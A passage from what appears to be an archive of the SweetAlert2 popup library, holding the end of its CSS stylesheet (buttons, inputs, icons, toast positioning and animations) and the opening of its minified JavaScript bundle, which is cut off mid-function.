  -webkit-animation: swal2-rotate-loading 1.5s linear 0s infinite normal;
          animation: swal2-rotate-loading 1.5s linear 0s infinite normal;
  border-width: 0.25em;
  border-style: solid;
  border-radius: 100%;
  border-color: #3085d6 transparent #3085d6 transparent;
}

.swal2-styled {
  margin: 0.3125em;
  padding: 0.625em 2em;
  box-shadow: none;
  font-weight: 500;
}
.swal2-styled:not([disabled]) {
  cursor: pointer;
}
.swal2-styled.swal2-confirm {
  border: 0;
  border-radius: 0.25em;
  background: initial;
  background-color: #3085d6;
  color: #fff;
  font-size: 1.0625em;
}
.swal2-styled.swal2-deny {
  border: 0;
  border-radius: 0.25em;
  background: initial;
  background-color: #dd6b55;
  color: #fff;
  font-size: 1.0625em;
}
.swal2-styled.swal2-cancel {
  border: 0;
  border-radius: 0.25em;
  background: initial;
  background-color: #aaa;
  color: #fff;
  font-size: 1.0625em;
}
.swal2-styled:focus {
  outline: none;
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(50, 100, 150, 0.4);
}
.swal2-styled::-moz-focus-inner {
  border: 0;
}

.swal2-footer {
  justify-content: center;
  margin: 1.25em 0 0;
  padding: 1em 0 0;
  border-top: 1px solid #eee;
  color: #545454;
  font-size: 1em;
}

.swal2-timer-progress-bar-container {
  position: absolute;
  right: 0;
  bottom: 0;
  left: 0;
  height: 0.25em;
  overflow: hidden;
  border-bottom-right-radius: 0.3125em;
  border-bottom-left-radius: 0.3125em;
}

.swal2-timer-progress-bar {
  width: 100%;
  height: 0.25em;
  background: rgba(0, 0, 0, 0.2);
}

.swal2-image {
  max-width: 100%;
  margin: 1.25em auto;
}

.swal2-close {
  position: absolute;
  z-index: 2;
  top: 0;
  right: 0;
  align-items: center;
  justify-content: center;
  width: 1.2em;
  height: 1.2em;
  padding: 0;
  overflow: hidden;
  transition: color 0.1s ease-out;
  border: none;
  border-radius: 0;
  background: transparent;
  color: #cccccc;
  font-family: serif;
  font-size: 2.5em;
  line-height: 1.2;
  cursor: pointer;
}
.swal2-close:hover {
  transform: none;
  background: transparent;
  color: #f27474;
}
.swal2-close::-moz-focus-inner {
  border: 0;
}

.swal2-content {
  z-index: 1;
  justify-content: center;
  margin: 0;
  padding: 0 1.6em;
  color: #545454;
  font-size: 1.125em;
  font-weight: normal;
  line-height: normal;
  text-align: center;
  word-wrap: break-word;
}

.swal2-input,
.swal2-file,
.swal2-textarea,
.swal2-select,
.swal2-radio,
.swal2-checkbox {
  margin: 1em auto;
}

.swal2-input,
.swal2-file,
.swal2-textarea {
  box-sizing: border-box;
  width: 100%;
  transition: border-color 0.3s, box-shadow 0.3s;
  border: 1px solid #d9d9d9;
  border-radius: 0.1875em;
  background: inherit;
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.06);
  color: inherit;
  font-size: 1.125em;
}
.swal2-input.swal2-inputerror,
.swal2-file.swal2-inputerror,
.swal2-textarea.swal2-inputerror {
  border-color: #f27474 !important;
  box-shadow: 0 0 2px #f27474 !important;
}
.swal2-input:focus,
.swal2-file:focus,
.swal2-textarea:focus {
  border: 1px solid #b4dbed;
  outline: none;
  box-shadow: 0 0 3px #c4e6f5;
}
.swal2-input::-moz-placeholder, .swal2-file::-moz-placeholder, .swal2-textarea::-moz-placeholder {
  color: #cccccc;
}
.swal2-input:-ms-input-placeholder, .swal2-file:-ms-input-placeholder, .swal2-textarea:-ms-input-placeholder {
  color: #cccccc;
}
.swal2-input::-ms-input-placeholder, .swal2-file::-ms-input-placeholder, .swal2-textarea::-ms-input-placeholder {
  color: #cccccc;
}
.swal2-input::placeholder,
.swal2-file::placeholder,
.swal2-textarea::placeholder {
  color: #cccccc;
}

.swal2-range {
  margin: 1em auto;
  background: #fff;
}
.swal2-range input {
  width: 80%;
}
.swal2-range output {
  width: 20%;
  color: inherit;
  font-weight: 600;
  text-align: center;
}
.swal2-range input,
.swal2-range output {
  height: 2.625em;
  padding: 0;
  font-size: 1.125em;
  line-height: 2.625em;
}

.swal2-input {
  height: 2.625em;
  padding: 0 0.75em;
}
.swal2-input[type=number] {
  max-width: 10em;
}

.swal2-file {
  background: inherit;
  font-size: 1.125em;
}

.swal2-textarea {
  height: 6.75em;
  padding: 0.75em;
}

.swal2-select {
  min-width: 50%;
  max-width: 100%;
  padding: 0.375em 0.625em;
  background: inherit;
  color: inherit;
  font-size: 1.125em;
}

.swal2-radio,
.swal2-checkbox {
  align-items: center;
  justify-content: center;
  background: #fff;
  color: inherit;
}
.swal2-radio label,
.swal2-checkbox label {
  margin: 0 0.6em;
  font-size: 1.125em;
}
.swal2-radio input,
.swal2-checkbox input {
  margin: 0 0.4em;
}

.swal2-validation-message {
  display: none;
  align-items: center;
  justify-content: center;
  padding: 0.625em;
  overflow: hidden;
  background: #f0f0f0;
  color: #666666;
  font-size: 1em;
  font-weight: 300;
}
.swal2-validation-message::before {
  content: "!";
  display: inline-block;
  width: 1.5em;
  min-width: 1.5em;
  height: 1.5em;
  margin: 0 0.625em;
  border-radius: 50%;
  background-color: #f27474;
  color: #fff;
  font-weight: 600;
  line-height: 1.5em;
  text-align: center;
}

.swal2-icon {
  position: relative;
  box-sizing: content-box;
  justify-content: center;
  width: 5em;
  height: 5em;
  margin: 1.25em auto 1.875em;
  border: 0.25em solid transparent;
  border-radius: 50%;
  font-family: inherit;
  line-height: 5em;
  cursor: default;
  -webkit-user-select: none;
     -moz-user-select: none;
      -ms-user-select: none;
          user-select: none;
}
.swal2-icon .swal2-icon-content {
  display: flex;
  align-items: center;
  font-size: 3.75em;
}
.swal2-icon.swal2-error {
  border-color: #f27474;
  color: #f27474;
}
.swal2-icon.swal2-error .swal2-x-mark {
  position: relative;
  flex-grow: 1;
}
.swal2-icon.swal2-error [class^=swal2-x-mark-line] {
  display: block;
  position: absolute;
  top: 2.3125em;
  width: 2.9375em;
  height: 0.3125em;
  border-radius: 0.125em;
  background-color: #f27474;
}
.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left] {
  left: 1.0625em;
  transform: rotate(45deg);
}
.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right] {
  right: 1em;
  transform: rotate(-45deg);
}
.swal2-icon.swal2-error.swal2-icon-show {
  -webkit-animation: swal2-animate-error-icon 0.5s;
          animation: swal2-animate-error-icon 0.5s;
}
.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark {
  -webkit-animation: swal2-animate-error-x-mark 0.5s;
          animation: swal2-animate-error-x-mark 0.5s;
}
.swal2-icon.swal2-warning {
  border-color: #facea8;
  color: #f8bb86;
}
.swal2-icon.swal2-info {
  border-color: #9de0f6;
  color: #3fc3ee;
}
.swal2-icon.swal2-question {
  border-color: #c9dae1;
  color: #87adbd;
}
.swal2-icon.swal2-success {
  border-color: #a5dc86;
  color: #a5dc86;
}
.swal2-icon.swal2-success [class^=swal2-success-circular-line] {
  position: absolute;
  width: 3.75em;
  height: 7.5em;
  transform: rotate(45deg);
  border-radius: 50%;
}
.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left] {
  top: -0.4375em;
  left: -2.0635em;
  transform: rotate(-45deg);
  transform-origin: 3.75em 3.75em;
  border-radius: 7.5em 0 0 7.5em;
}
.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right] {
  top: -0.6875em;
  left: 1.875em;
  transform: rotate(-45deg);
  transform-origin: 0 3.75em;
  border-radius: 0 7.5em 7.5em 0;
}
.swal2-icon.swal2-success .swal2-success-ring {
  position: absolute;
  z-index: 2;
  top: -0.25em;
  left: -0.25em;
  box-sizing: content-box;
  width: 100%;
  height: 100%;
  border: 0.25em solid rgba(165, 220, 134, 0.3);
  border-radius: 50%;
}
.swal2-icon.swal2-success .swal2-success-fix {
  position: absolute;
  z-index: 1;
  top: 0.5em;
  left: 1.625em;
  width: 0.4375em;
  height: 5.625em;
  transform: rotate(-45deg);
}
.swal2-icon.swal2-success [class^=swal2-success-line] {
  display: block;
  position: absolute;
  z-index: 2;
  height: 0.3125em;
  border-radius: 0.125em;
  background-color: #a5dc86;
}
.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip] {
  top: 2.875em;
  left: 0.8125em;
  width: 1.5625em;
  transform: rotate(45deg);
}
.swal2-icon.swal2-success [class^=swal2-success-line][class$=long] {
  top: 2.375em;
  right: 0.5em;
  width: 2.9375em;
  transform: rotate(-45deg);
}
.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip {
  -webkit-animation: swal2-animate-success-line-tip 0.75s;
          animation: swal2-animate-success-line-tip 0.75s;
}
.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long {
  -webkit-animation: swal2-animate-success-line-long 0.75s;
          animation: swal2-animate-success-line-long 0.75s;
}
.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right {
  -webkit-animation: swal2-rotate-success-circular-line 4.25s ease-in;
          animation: swal2-rotate-success-circular-line 4.25s ease-in;
}

.swal2-progress-steps {
  align-items: center;
  margin: 0 0 1.25em;
  padding: 0;
  background: inherit;
  font-weight: 600;
}
.swal2-progress-steps li {
  display: inline-block;
  position: relative;
}
.swal2-progress-steps .swal2-progress-step {
  z-index: 20;
  width: 2em;
  height: 2em;
  border-radius: 2em;
  background: #3085d6;
  color: #fff;
  line-height: 2em;
  text-align: center;
}
.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step {
  background: #3085d6;
}
.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step ~ .swal2-progress-step {
  background: #add8e6;
  color: #fff;
}
.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step ~ .swal2-progress-step-line {
  background: #add8e6;
}
.swal2-progress-steps .swal2-progress-step-line {
  z-index: 10;
  width: 2.5em;
  height: 0.4em;
  margin: 0 -1px;
  background: #3085d6;
}

[class^=swal2] {
  -webkit-tap-highlight-color: transparent;
}

.swal2-show {
  -webkit-animation: swal2-show 0.3s;
          animation: swal2-show 0.3s;
}

.swal2-hide {
  -webkit-animation: swal2-hide 0.15s forwards;
          animation: swal2-hide 0.15s forwards;
}

.swal2-noanimation {
  transition: none;
}

.swal2-scrollbar-measure {
  position: absolute;
  top: -9999px;
  width: 50px;
  height: 50px;
  overflow: scroll;
}

.swal2-rtl .swal2-close {
  right: auto;
  left: 0;
}
.swal2-rtl .swal2-timer-progress-bar {
  right: 0;
  left: auto;
}

@supports (-ms-accelerator: true) {
  .swal2-range input {
    width: 100% !important;
  }
  .swal2-range output {
    display: none;
  }
}
@media all and (-ms-high-contrast: none), (-ms-high-contrast: active) {
  .swal2-range input {
    width: 100% !important;
  }
  .swal2-range output {
    display: none;
  }
}
@-moz-document url-prefix() {
  .swal2-close:focus {
    outline: 2px solid rgba(50, 100, 150, 0.4);
  }
}
@-webkit-keyframes swal2-toast-show {
  0% {
    transform: translateY(-0.625em) rotateZ(2deg);
  }
  33% {
    transform: translateY(0) rotateZ(-2deg);
  }
  66% {
    transform: translateY(0.3125em) rotateZ(2deg);
  }
  100% {
    transform: translateY(0) rotateZ(0deg);
  }
}
@keyframes swal2-toast-show {
  0% {
    transform: translateY(-0.625em) rotateZ(2deg);
  }
  33% {
    transform: translateY(0) rotateZ(-2deg);
  }
  66% {
    transform: translateY(0.3125em) rotateZ(2deg);
  }
  100% {
    transform: translateY(0) rotateZ(0deg);
  }
}
@-webkit-keyframes swal2-toast-hide {
  100% {
    transform: rotateZ(1deg);
    opacity: 0;
  }
}
@keyframes swal2-toast-hide {
  100% {
    transform: rotateZ(1deg);
    opacity: 0;
  }
}
@-webkit-keyframes swal2-toast-animate-success-line-tip {
  0% {
    top: 0.5625em;
    left: 0.0625em;
    width: 0;
  }
  54% {
    top: 0.125em;
    left: 0.125em;
    width: 0;
  }
  70% {
    top: 0.625em;
    left: -0.25em;
    width: 1.625em;
  }
  84% {
    top: 1.0625em;
    left: 0.75em;
    width: 0.5em;
  }
  100% {
    top: 1.125em;
    left: 0.1875em;
    width: 0.75em;
  }
}
@keyframes swal2-toast-animate-success-line-tip {
  0% {
    top: 0.5625em;
    left: 0.0625em;
    width: 0;
  }
  54% {
    top: 0.125em;
    left: 0.125em;
    width: 0;
  }
  70% {
    top: 0.625em;
    left: -0.25em;
    width: 1.625em;
  }
  84% {
    top: 1.0625em;
    left: 0.75em;
    width: 0.5em;
  }
  100% {
    top: 1.125em;
    left: 0.1875em;
    width: 0.75em;
  }
}
@-webkit-keyframes swal2-toast-animate-success-line-long {
  0% {
    top: 1.625em;
    right: 1.375em;
    width: 0;
  }
  65% {
    top: 1.25em;
    right: 0.9375em;
    width: 0;
  }
  84% {
    top: 0.9375em;
    right: 0;
    width: 1.125em;
  }
  100% {
    top: 0.9375em;
    right: 0.1875em;
    width: 1.375em;
  }
}
@keyframes swal2-toast-animate-success-line-long {
  0% {
    top: 1.625em;
    right: 1.375em;
    width: 0;
  }
  65% {
    top: 1.25em;
    right: 0.9375em;
    width: 0;
  }
  84% {
    top: 0.9375em;
    right: 0;
    width: 1.125em;
  }
  100% {
    top: 0.9375em;
    right: 0.1875em;
    width: 1.375em;
  }
}
@-webkit-keyframes swal2-show {
  0% {
    transform: scale(0.7);
  }
  45% {
    transform: scale(1.05);
  }
  80% {
    transform: scale(0.95);
  }
  100% {
    transform: scale(1);
  }
}
@keyframes swal2-show {
  0% {
    transform: scale(0.7);
  }
  45% {
    transform: scale(1.05);
  }
  80% {
    transform: scale(0.95);
  }
  100% {
    transform: scale(1);
  }
}
@-webkit-keyframes swal2-hide {
  0% {
    transform: scale(1);
    opacity: 1;
  }
  100% {
    transform: scale(0.5);
    opacity: 0;
  }
}
@keyframes swal2-hide {
  0% {
    transform: scale(1);
    opacity: 1;
  }
  100% {
    transform: scale(0.5);
    opacity: 0;
  }
}
@-webkit-keyframes swal2-animate-success-line-tip {
  0% {
    top: 1.1875em;
    left: 0.0625em;
    width: 0;
  }
  54% {
    top: 1.0625em;
    left: 0.125em;
    width: 0;
  }
  70% {
    top: 2.1875em;
    left: -0.375em;
    width: 3.125em;
  }
  84% {
    top: 3em;
    left: 1.3125em;
    width: 1.0625em;
  }
  100% {
    top: 2.8125em;
    left: 0.8125em;
    width: 1.5625em;
  }
}
@keyframes swal2-animate-success-line-tip {
  0% {
    top: 1.1875em;
    left: 0.0625em;
    width: 0;
  }
  54% {
    top: 1.0625em;
    left: 0.125em;
    width: 0;
  }
  70% {
    top: 2.1875em;
    left: -0.375em;
    width: 3.125em;
  }
  84% {
    top: 3em;
    left: 1.3125em;
    width: 1.0625em;
  }
  100% {
    top: 2.8125em;
    left: 0.8125em;
    width: 1.5625em;
  }
}
@-webkit-keyframes swal2-animate-success-line-long {
  0% {
    top: 3.375em;
    right: 2.875em;
    width: 0;
  }
  65% {
    top: 3.375em;
    right: 2.875em;
    width: 0;
  }
  84% {
    top: 2.1875em;
    right: 0;
    width: 3.4375em;
  }
  100% {
    top: 2.375em;
    right: 0.5em;
    width: 2.9375em;
  }
}
@keyframes swal2-animate-success-line-long {
  0% {
    top: 3.375em;
    right: 2.875em;
    width: 0;
  }
  65% {
    top: 3.375em;
    right: 2.875em;
    width: 0;
  }
  84% {
    top: 2.1875em;
    right: 0;
    width: 3.4375em;
  }
  100% {
    top: 2.375em;
    right: 0.5em;
    width: 2.9375em;
  }
}
@-webkit-keyframes swal2-rotate-success-circular-line {
  0% {
    transform: rotate(-45deg);
  }
  5% {
    transform: rotate(-45deg);
  }
  12% {
    transform: rotate(-405deg);
  }
  100% {
    transform: rotate(-405deg);
  }
}
@keyframes swal2-rotate-success-circular-line {
  0% {
    transform: rotate(-45deg);
  }
  5% {
    transform: rotate(-45deg);
  }
  12% {
    transform: rotate(-405deg);
  }
  100% {
    transform: rotate(-405deg);
  }
}
@-webkit-keyframes swal2-animate-error-x-mark {
  0% {
    margin-top: 1.625em;
    transform: scale(0.4);
    opacity: 0;
  }
  50% {
    margin-top: 1.625em;
    transform: scale(0.4);
    opacity: 0;
  }
  80% {
    margin-top: -0.375em;
    transform: scale(1.15);
  }
  100% {
    margin-top: 0;
    transform: scale(1);
    opacity: 1;
  }
}
@keyframes swal2-animate-error-x-mark {
  0% {
    margin-top: 1.625em;
    transform: scale(0.4);
    opacity: 0;
  }
  50% {
    margin-top: 1.625em;
    transform: scale(0.4);
    opacity: 0;
  }
  80% {
    margin-top: -0.375em;
    transform: scale(1.15);
  }
  100% {
    margin-top: 0;
    transform: scale(1);
    opacity: 1;
  }
}
@-webkit-keyframes swal2-animate-error-icon {
  0% {
    transform: rotateX(100deg);
    opacity: 0;
  }
  100% {
    transform: rotateX(0deg);
    opacity: 1;
  }
}
@keyframes swal2-animate-error-icon {
  0% {
    transform: rotateX(100deg);
    opacity: 0;
  }
  100% {
    transform: rotateX(0deg);
    opacity: 1;
  }
}
@-webkit-keyframes swal2-rotate-loading {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(360deg);
  }
}
@keyframes swal2-rotate-loading {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(360deg);
  }
}
body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) {
  overflow: hidden;
}
body.swal2-height-auto {
  height: auto !important;
}
body.swal2-no-backdrop .swal2-container {
  top: auto;
  right: auto;
  bottom: auto;
  left: auto;
  max-width: calc(100% - 0.625em * 2);
  background-color: transparent !important;
}
body.swal2-no-backdrop .swal2-container > .swal2-modal {
  box-shadow: 0 0 10px rgba(0, 0, 0, 0.4);
}
body.swal2-no-backdrop .swal2-container.swal2-top {
  top: 0;
  left: 50%;
  transform: translateX(-50%);
}
body.swal2-no-backdrop .swal2-container.swal2-top-start, body.swal2-no-backdrop .swal2-container.swal2-top-left {
  top: 0;
  left: 0;
}
body.swal2-no-backdrop .swal2-container.swal2-top-end, body.swal2-no-backdrop .swal2-container.swal2-top-right {
  top: 0;
  right: 0;
}
body.swal2-no-backdrop .swal2-container.swal2-center {
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
}
body.swal2-no-backdrop .swal2-container.swal2-center-start, body.swal2-no-backdrop .swal2-container.swal2-center-left {
  top: 50%;
  left: 0;
  transform: translateY(-50%);
}
body.swal2-no-backdrop .swal2-container.swal2-center-end, body.swal2-no-backdrop .swal2-container.swal2-center-right {
  top: 50%;
  right: 0;
  transform: translateY(-50%);
}
body.swal2-no-backdrop .swal2-container.swal2-bottom {
  bottom: 0;
  left: 50%;
  transform: translateX(-50%);
}
body.swal2-no-backdrop .swal2-container.swal2-bottom-start, body.swal2-no-backdrop .swal2-container.swal2-bottom-left {
  bottom: 0;
  left: 0;
}
body.swal2-no-backdrop .swal2-container.swal2-bottom-end, body.swal2-no-backdrop .swal2-container.swal2-bottom-right {
  right: 0;
  bottom: 0;
}
@media print {
  body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) {
    overflow-y: scroll !important;
  }
  body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) > [aria-hidden=true] {
    display: none;
  }
  body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container {
    position: static !important;
  }
}
body.swal2-toast-shown .swal2-container {
  background-color: transparent;
}
body.swal2-toast-shown .swal2-container.swal2-top {
  top: 0;
  right: auto;
  bottom: auto;
  left: 50%;
  transform: translateX(-50%);
}
body.swal2-toast-shown .swal2-container.swal2-top-end, body.swal2-toast-shown .swal2-container.swal2-top-right {
  top: 0;
  right: 0;
  bottom: auto;
  left: auto;
}
body.swal2-toast-shown .swal2-container.swal2-top-start, body.swal2-toast-shown .swal2-container.swal2-top-left {
  top: 0;
  right: auto;
  bottom: auto;
  left: 0;
}
body.swal2-toast-shown .swal2-container.swal2-center-start, body.swal2-toast-shown .swal2-container.swal2-center-left {
  top: 50%;
  right: auto;
  bottom: auto;
  left: 0;
  transform: translateY(-50%);
}
body.swal2-toast-shown .swal2-container.swal2-center {
  top: 50%;
  right: auto;
  bottom: auto;
  left: 50%;
  transform: translate(-50%, -50%);
}
body.swal2-toast-shown .swal2-container.swal2-center-end, body.swal2-toast-shown .swal2-container.swal2-center-right {
  top: 50%;
  right: 0;
  bottom: auto;
  left: auto;
  transform: translateY(-50%);
}
body.swal2-toast-shown .swal2-container.swal2-bottom-start, body.swal2-toast-shown .swal2-container.swal2-bottom-left {
  top: auto;
  right: auto;
  bottom: 0;
  left: 0;
}
body.swal2-toast-shown .swal2-container.swal2-bottom {
  top: auto;
  right: auto;
  bottom: 0;
  left: 50%;
  transform: translateX(-50%);
}
body.swal2-toast-shown .swal2-container.swal2-bottom-end, body.swal2-toast-shown .swal2-container.swal2-bottom-right {
  top: auto;
  right: 0;
  bottom: 0;
  left: auto;
}
body.swal2-toast-column .swal2-toast {
  flex-direction: column;
  align-items: stretch;
}
body.swal2-toast-column .swal2-toast .swal2-actions {
  flex: 1;
  align-self: stretch;
  height: 2.2em;
  margin-top: 0.3125em;
}
body.swal2-toast-column .swal2-toast .swal2-loading {
  justify-content: center;
}
body.swal2-toast-column .swal2-toast .swal2-input {
  height: 2em;
  margin: 0.3125em auto;
  font-size: 1em;
}
body.swal2-toast-column .swal2-toast .swal2-validation-message {
  font-size: 1em;
}sweetalert2.all.min.js000064400000206546151735567630010733 0ustar00!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t=t||self).Sweetalert2=e()}(this,function(){"use strict";function r(t){return(r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function a(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){for(var n=0;n<e.length;n++){var o=e[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(t,o.key,o)}}function s(t,e,n){return e&&o(t.prototype,e),n&&o(t,n),t}function c(){return(c=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(t[o]=n[o])}return t}).apply(this,arguments)}function u(t){return(u=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}function l(t,e){return(l=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function d(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(t){return!1}}function i(t,e,n){return(i=d()?Reflect.construct:function(t,e,n){var o=[null];o.push.apply(o,e);var i=new(Function.bind.apply(t,o));return n&&l(i,n.prototype),i}).apply(null,arguments)}function p(t,e){return!e||"object"!=typeof e&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function f(t,e,n){return(f="undefined"!=typeof Reflect&&Reflect.get?Reflect.get:function(t,e,n){var o=function(t,e){for(;!Object.prototype.hasOwnProperty.call(t,e)&&null!==(t=u(t)););return t}(t,e);if(o){var i=Object.getOwnPropertyDescriptor(o,e);return i.get?i.get.call(n):i.value}})(t,e,n||t)}function m(e){return Object.keys(e).map(function(t){return e[t]})}function h(t){return Array.prototype.slice.call(t)}function g(t,e){var n;n='"'.concat(t,'" is deprecated and will be removed in the next major release. Please use "').concat(e,'" instead.'),-1===Z.indexOf(n)&&(Z.push(n),K(n))}function v(t){return t&&"function"==typeof t.toPromise}function y(t){return v(t)?t.toPromise():Promise.resolve(t)}function b(t){return t&&Promise.resolve(t)===t}function w(t){return t instanceof Element||"object"===r(e=t)&&e.jquery;var e}function t(t){var e={};for(var n in t)e[t[n]]="swal2-"+t[n];return e}function C(){return document.body.querySelector(".".concat(J.container))}function k(t){var e=C();return e?e.querySelector(t):null}function e(t){return k(".".concat(t))}function x(){return e(J.popup)}function n(){var t=x();return h(t.querySelectorAll(".".concat(J.icon)))}function B(){var t=n().filter(function(t){return wt(t)});return t.length?t[0]:null}function P(){return e(J.title)}function A(){return e(J.content)}function S(){return e(J.image)}function E(){return e(J["progress-steps"])}function O(){return e(J["validation-message"])}function T(){return k(".".concat(J.actions," .").concat(J.confirm))}function L(){return k(".".concat(J.actions," .").concat(J.deny))}function D(){return k(".".concat(J.loader))}function q(){return k(".".concat(J.actions," .").concat(J.cancel))}function j(){return e(J.actions)}function I(){return e(J.header)}function M(){return e(J.footer)}function V(){return e(J["timer-progress-bar"])}function R(){return e(J.close)}function H(){var t=h(x().querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])')).sort(function(t,e){return t=parseInt(t.getAttribute("tabindex")),(e=parseInt(e.getAttribute("tabindex")))<t?1:t<e?-1:0}),e=h(x().querySelectorAll('\n  a[href],\n  area[href],\n  input:not([disabled]),\n  select:not([disabled]),\n  textarea:not([disabled]),\n  button:not([disabled]),\n  iframe,\n  object,\n  embed,\n  [tabindex="0"],\n  [contenteditable],\n  audio[controls],\n  video[controls],\n  summary\n')).filter(function(t){return"-1"!==t.getAttribute("tabindex")});return function(t){for(var e=[],n=0;n<t.length;n++)-1===e.indexOf(t[n])&&e.push(t[n]);return e}(t.concat(e)).filter(function(t){return wt(t)})}function N(){return!G()&&!document.body.classList.contains(J["no-backdrop"])}function U(){return x().hasAttribute("data-loading")}function _(e,t){var n;e.textContent="",t&&(n=(new DOMParser).parseFromString(t,"text/html"),h(n.querySelector("head").childNodes).forEach(function(t){e.appendChild(t)}),h(n.querySelector("body").childNodes).forEach(function(t){e.appendChild(t)}))}function F(t,e){if(e){for(var n=e.split(/\s+/),o=0;o<n.length;o++)if(!t.classList.contains(n[o]))return;return 1}}function z(t,e,n){var o,i;if(i=e,h((o=t).classList).forEach(function(t){-1===m(J).indexOf(t)&&-1===m(X).indexOf(t)&&-1===m(i.showClass).indexOf(t)&&o.classList.remove(t)}),e.customClass&&e.customClass[n]){if("string"!=typeof e.customClass[n]&&!e.customClass[n].forEach)return K("Invalid type of customClass.".concat(n,'! Expected string or iterable object, got "').concat(r(e.customClass[n]),'"'));vt(t,e.customClass[n])}}var W="SweetAlert2:",K=function(t){console.warn("".concat(W," ").concat(t))},Y=function(t){console.error("".concat(W," ").concat(t))},Z=[],Q=function(t){return"function"==typeof t?t():t},$=Object.freeze({cancel:"cancel",backdrop:"backdrop",close:"close",esc:"esc",timer:"timer"}),J=t(["container","shown","height-auto","iosfix","popup","modal","no-backdrop","no-transition","toast","toast-shown","toast-column","show","hide","close","title","header","content","html-container","actions","confirm","deny","cancel","footer","icon","icon-content","image","input","file","range","select","radio","checkbox","label","textarea","inputerror","validation-message","progress-steps","active-progress-step","progress-step","progress-step-line","loader","loading","styled","top","top-start","top-end","top-left","top-right","center","center-start","center-end","center-left","center-right","bottom","bottom-start","bottom-end","bottom-left","bottom-right","grow-row","grow-column","grow-fullscreen","rtl","timer-progress-bar","timer-progress-bar-container","scrollbar-measure","icon-success","icon-warning","icon-info","icon-question","icon-error"]),X=t(["success","warning","info","question","error"]),G=function(){return document.body.classList.contains(J["toast-shown"])},tt={previousBodyPadding:null};function et(t,e){if(!e)return null;switch(e){case"select":case"textarea":case"file":return bt(t,J[e]);case"checkbox":return t.querySelector(".".concat(J.checkbox," input"));case"radio":return t.querySelector(".".concat(J.radio," input:checked"))||t.querySelector(".".concat(J.radio," input:first-child"));case"range":return t.querySelector(".".concat(J.range," input"));default:return bt(t,J.input)}}function nt(t){var e;t.focus(),"file"!==t.type&&(e=t.value,t.value="",t.value=e)}function ot(t,e,n){t&&e&&("string"==typeof e&&(e=e.split(/\s+/).filter(Boolean)),e.forEach(function(e){t.forEach?t.forEach(function(t){n?t.classList.add(e):t.classList.remove(e)}):n?t.classList.add(e):t.classList.remove(e)}))}function it(t,e,n){n||0===parseInt(n)?t.style[e]="number"==typeof n?"".concat(n,"px"):n:t.style.removeProperty(e)}function rt(t,e){var n=1<arguments.length&&void 0!==e?e:"flex";t.style.display=n}function at(t){t.style.display="none"}function st(t,e,n,o){var i=t.querySelector(e);i&&(i.style[n]=o)}function ct(t,e,n){e?rt(t,n):at(t)}function ut(t){return!!(t.scrollHeight>t.clientHeight)}function lt(t){var e=window.getComputedStyle(t),n=parseFloat(e.getPropertyValue("animation-duration")||"0"),o=parseFloat(e.getPropertyValue("transition-duration")||"0");return 0<n||0<o}function dt(t,e){var n=1<arguments.length&&void 0!==e&&e,o=V();wt(o)&&(n&&(o.style.transition="none",o.style.width="100%"),setTimeout(function(){o.style.transition="width ".concat(t/1e3,"s linear"),o.style.width="0%"},10))}function pt(){return"undefined"==typeof window||"undefined"==typeof document}function ft(t){bn.isVisible()&&gt!==t.target.value&&bn.resetValidationMessage(),gt=t.target.value}function mt(t,e){t instanceof HTMLElement?e.appendChild(t):"object"===r(t)?xt(t,e):t&&_(e,t)}function ht(t,e){var n=j(),o=D(),i=T(),r=L(),a=q();e.showConfirmButton||e.showDenyButton||e.showCancelButton||at(n),z(n,e,"actions"),At(i,"confirm",e),At(r,"deny",e),At(a,"cancel",e),o.innerHTML=e.loaderHtml,e.buttonsStyling?function(t,e,n,o){vt([t,e,n],J.styled),o.confirmButtonColor&&(t.style.backgroundColor=o.confirmButtonColor);o.denyButtonColor&&(e.style.backgroundColor=o.denyButtonColor);o.cancelButtonColor&&(n.style.backgroundColor=o.cancelButtonColor);{var i;U()||(i=window.getComputedStyle(t).getPropertyValue("background-color"),t.style.borderLeftColor=i,t.style.borderRightColor=i)}}(i,r,a,e):yt([i,r,a],J.styled),e.reverseButtons&&(n.insertBefore(a,o),n.insertBefore(r,o),n.insertBefore(i,o))}var gt,vt=function(t,e){ot(t,e,!0)},yt=function(t,e){ot(t,e,!1)},bt=function(t,e){for(var 